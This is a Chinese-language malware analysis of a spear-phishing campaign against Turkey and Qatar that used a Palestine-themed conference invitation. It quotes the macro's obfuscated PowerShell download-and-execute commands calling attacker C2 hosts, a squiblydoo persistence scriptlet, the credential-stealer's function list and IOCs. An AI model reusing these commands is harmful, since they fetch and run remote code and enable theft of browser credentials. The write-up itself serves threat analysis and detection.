针对卡塔尔和土耳其的鱼叉式网络钓鱼攻击

 

在日常威胁活动追踪中,我们浏览到一条推特,报道了一起针对土耳其的鱼叉式网络钓鱼攻击活动,经过初步分析,我们决定展开进一步调查,最终发现它与其它最近活跃的威胁活动有相似之处,可能来自同一组织。

报道推文

推文链接:
https://www.virustotal.com/#/file/1d2bbe3fd9021bbed4667628b86156bee8763b3d93cdac6de398c751a281a324/detection

https://www.virustotal.com/#/file/bf4d4ee4a8e4472c7968586fa0318e556a89bfd94aeb4e72afd99ab340541770/detection

 

鱼叉式网络钓鱼文件

经调查,在土耳其的鱼叉式网络钓鱼攻击中使用的文档,与之前针对卡塔尔的攻击中使用的是一样的。这个文档试图引诱受害者打开在伊斯坦布尔举行的AI Quds协会会议邀请函,AI Quds是一个致力于“协调国际议员支持巴勒斯坦”的委员会。

使用谷歌翻译,帮助我们了解钓鱼文件的内容:

使用谷歌翻译对钓鱼文件进行翻译

邀请函邀请收件人参加12月13日至16日举行的主题为“ 耶路撒冷是巴勒斯坦永恒的首都 ”的会议。然而在官网上,并没查询到与此会议相关的公告。

 

感染策略

新、旧恶意文档使用相同的感染策略:试图诱导受害者点击“启用内容”按钮来运行恶意宏:

嵌入的宏通过命令调用powershell,然后运行从恶意主机下载的.ps1脚本。

我们使用ReaQta-Hive对攻击流程进行还原:

ReaQta-Hive还原攻击流程

Winword.exe调用cmd.exe,并执行可疑命令:

"C:WindowsSystem32cmd.exe" /c " EcHo iEx ( new-oBjeCt sYStem.Io.COmPreSSiON.defLAtEstreAm([system.Io.mEmorYStrEAM] [ConVerT]::fRomBaSE64STRing( 'BcExEkAwEAXQq+hQSHotCg2FgjbWYolNJv6M63uv75asGPirxvViQjYwzMxr44UVpWnDpz64bUISPYr8BGJt7SOUwht2bA7OeNE7klGGdVEsvZQkIi9/') , [sYsTEM.io.compressIOn.CoMpREssiOnmode]::DECOMPRESs )^^^| % {new-oBjeCt io.STreaMreader( $_, [TexT.ENCoDInG]::aSCii )} ).REadtOEnd() | pOwErSheLl -NoeX -nOlo -NOproFiLe -nOnIn -eXeCuTI BypAss -wiNdoWstYL hiDden -"

对混淆的命令行进行解密会导致实际的参数被传递到powershell.exe:

IEX (New-Object Net.WebClient).DownloadString('http://microsoftdata.linkpc.net/api/cscript')

参数传递给powershell时似乎使用了一种逃避命令行检测的方法:

pOwErSheLl -NoeX -nOlo -NOproFiLe -nOnIn -eXeCuTI BypAss -wiNdoWstYL hiDden -

该参数直接与powershell.exe“交互”,这就是为什么我们在powershell.exe命令行中看不到常见的的iEx […]

此时,powershell.exe 利用从hxxp:// microsoftdata [。] linkpc [。] net / api / cscript上下载的脚本进行感染,下面是脚本的部分内容:

部分恶意脚本

powershell脚本主要用于窃取来自Chrome,Opera和Firefox的cookie,会话,登录凭证,还有一个键盘记录模块。窃取的数据会被上传到此C2服务器:

hxxp://microsoftdata[.]linkpc[.]net

该脚本下载与浏览器本地数据库交互所需的sqlite数据库 DLL文件 。

它创建一个全局互斥体GlobalrYF1pgeADA以避免多个窃取程序同时执行,并对键盘记录器进行初始化,执行信息窃取功能,最后持久驻存。

信息窃取代码(部分)

应该特别注意持久性机制:它通过定时任务发起 squiblydoo攻击

持久性机术

定时任务

然后将执行以下scriptlet:

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="rYF1pgeADA"
    classid="{3cf925ab-14c5-4324-9b5c-bbe294ac03a0}" >
    <script language="JScript">
        <![CDATA[

            p = 'Powershell';
            c = ' -WiND hiDdeN -nOproFILe -eXeCUTiON bypaSS -Nol -ComMa   "iEx ( new-oBjeCt  sYStem.Io.COmPreSSiON.defLAtEstreAm([system.Io.mEmorYStrEAM] [ConVerT]::fRomBaSE64STRing( 'BcExEkAwEAXQq+hQSHotCg2FgjbWYolNJv6M63uv75asGPirxvViQjYwzMxr44UVpWnDpz64bUISPYr8BGJt7SOUwht2bA7OeNE7klGGdVEsvZQkIi9/') , [sYsTEM.io.compressIOn.CoMpREssiOnmode]::DECOMPRESs )| % {new-oBjeCt io.STreaMreader( $_, [TexT.ENCoDInG]::aSCii )} ).REadtOEnd() "';
            r = new ActiveXObject("WScript.Shell").Run(p + c,0,false);

        ]]>
    </script>
    </registration>
</scriptlet>

攻击流程进行了还原如下:

 

窃密脚本功能

如上所述,在鱼叉式网络钓鱼攻击中下载的脚本有窃取Chrome / Firefox / Opera 浏览器cookie和登录凭证、键盘记录器、持久性驻存等功能,并使用定时任务执行squiblydoo攻击。还可以从C2下载定制的脚本,这意味着攻击者可以随意扩展其攻击手段:

我们给出功能列表,以供参考:

function Set-Key
function Set-EncryptedData
function Uid
function  CookiesTo-MYJson ([System.Collections.ArrayList] $ArrayList)
function  PasswordsTo-MYJson ([System.Collections.ArrayList] $ArrayList)
function unProtecte ($data) 
function ChromeDB
function FirefoxDB
function OperaDB
function Add-SQLite ($link)
function urlPOST($link,$data) 
function OperaSESSION ($SQLiteDB,$search,$condition)
function FirefoxSESSION ($SQLiteDB,$search,$condition)
function ChromeSESSION ($SQLiteDB,$search,$condition)
function ChromePASS ($SQLiteDB)
function BrowsersLOGINS
function _sct
function InstallSCT
function BrowsersPS
function BrowsersLOGGER
function InitLOGGER
function BrowsersCOOKIES ($website,$cname)

键盘记录器相关代码似乎是从这个github库获取的:

https://github.com/lazywinadmin/PowerShell/blob/master/TOOL-Start-KeyLogger/Start-KeyLogger.ps1

 

C2及历史样本

C2呈现一个很有趣的特点,那就是URL的路径始终是:/ api / {endpoint}:

http://{$domain}/api/cscript
http://{$domain}/api/pscript
http://{$domain}/api/logger/submit
http://{$domain}/api/chrome/submit
http://{$domain}/api/firefox/submit
http://{$domain}/api/opera/submit
http://{$domain}/assest/sqlite

根据这个信息,我们发现了在之前的鱼叉式网络钓鱼攻击中采用此种路径的其他样本:

正如文章开始所提到的,这个旧样本是在针对卡塔尔的攻击中发现的,攻击者当时冒充了卡塔尔慈善机构

该样本最初是在2018年8月初发现的,与当前版本相比,只有少量代码做了改动,主要是对行为,持久性和脚本代码进行了微调:

旧样本攻击流程还原

我们已经上传了样本,VirusTotal 的行为分析如下。可以看到cmd.exe的命令未做混淆处理处理:

"C:WindowsSystem32cmd.exe" /C"EchoIEX (New-Object Net.WebClient).DownloadString('http://4host.publicvm.com/api/cscript') | PowersHell -NOpROfIL -eX BYpAss -NOlOgo -wiNdoWs HiDdEN -noeXIt -noNI -"

下面对新旧powershell脚本功能进行对比:

历史C2:

hxxp://4host[.]publicvm[.]com/

代码变化

下面这个表对元数据的变化进行了对比说明:

我们观察到的另一个共同点是:这两个域名使用了相同的动态DNS服务:DNSExit

域名linkpc

域名publicvm

 

结语

这种攻击很有意思,既因为它潜在的攻击目标,也因为所采用的技术:攻击者使用二进制文件通过powershell进行恶意攻击、用定时任务发动squiblydoo攻击实现持久性、对恶意命令进行混淆、使用难以检测的交互技术。这个威胁组织似乎很活跃,所监测到的文件证明了这些行动可能是出于政治动机,而不是单纯的网络犯罪活动。

鱼叉式网络钓鱼攻击仍然是现如今最有效的攻击手段之一,即使有安全意识的人也可能中招。 ReaQta-Hive通过人工智能自动检测目标威胁(如上文中的分析),使安全分析师能够深入威胁活动,发现异常行为。二进制payload难以检测,因此针对计算机内存的威胁攻击很容易绕过传统的防御机制,并且很难取证。可以与我们联系,通过现场演示来指导如何快速解决此类威胁。

 

IOCs

1d2bbe3fd9021bbed4667628b86156bee8763b3d93cdac6de398c751a281a324 دعوة.doc 
bf4d4ee4a8e4472c7968586fa0318e556a89bfd94aeb4e72afd99ab340541770 إستمارة.doc 
7a26d5b600a078816beb3a2849827fa7d45ec85ec6c3343b3857f10edfece74c cscript.ps1
hxxp://microsoftdata[.]linkpc[.]net

7c8cf1e3ec35a6f604699f6481f3463e9ae19c93b8efd861b914c8260304d314 qatar.doc
hxxp://4host[.]publicvm[.]com

GlobalrYF1pgeADA mutex
GlobalwfCQnIo2G7 mutex 

http://{$domain}/api/cscript
http://{$domain}/api/pscript
http://{$domain}/api/logger/submit
http://{$domain}/api/chrome/submit
http://{$domain}/api/firefox/submit
http://{$domain}/api/opera/submit
http://{$domain}/assest/sqlite

rYF1pgeADA scheduled task name
wfCQnIo2G7 scheduled task name
(完)